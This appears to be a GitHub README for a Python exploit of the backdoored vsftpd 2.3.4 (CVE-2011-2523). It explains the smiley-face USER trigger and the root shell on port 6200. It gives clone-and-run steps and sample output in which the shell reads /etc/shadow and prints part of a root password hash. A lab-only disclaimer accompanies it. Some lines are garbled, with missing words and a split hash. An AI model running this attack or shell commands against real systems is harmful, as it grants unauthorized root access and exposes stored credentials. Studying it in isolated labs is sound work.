From-scratch exploit development in Python. No Metasploit. No frameworks. Raw socket-level implementation of real CVEs against authorized lab targets.
vsftpd (Very Secure FTP Daemon) is an FTP server for Unix-like platforms including Linux, distributed under the GNU General Public License.
In July 2011, it was discovered that vsftpd version 2.3.4 — available for download between June 30 and July 3, 2011 — had been compromised. An unknown attacker gained access to the vsftpd distribution server and injected a backdoor directly into the source code before it was shipped to users.
This was not a bug in vsftpd's design. It was a supply chain attack — the legitimate software was replaced with a maliciously modified version.
The injected backdoor code monitors the FTP username field during login.
If the username contains :) (a smiley face), the backdoor spawns a
on the target machine — with no
authentication required.
Attack flow:
Attacker → port 21 (FTP) → sends USER containing :) → backdoor triggers → root shell opens on port 6200
Attacker → port 6200 → full interactive root shell
CWE Classification: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
This exploit is written from scratch in pure Python using only the standard
library (socket). No Metasploit. No exploit frameworks. No external
dependencies.
Step by step:
:) to trigger the backdoor# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
Example output:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| Scenario | Behaviour |
|---|---|
| Port 21 closed | Prints "Port is closed", exits cleanly |
| Connection timeout | Prints "Connection timed out", exits cleanly |
| Invalid hostname/IP | Prints "Invalid target", exits cleanly |
| Wrong vsftpd version | Prints mismatch message, exits cleanly |
| Port 6200 unreachable | Prints backdoor failure message, exits cleanly |
This exploit is developed strictly for educational purposes and authorized security research only.
Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.
Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.
The author accepts no responsibility for misuse of this code.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub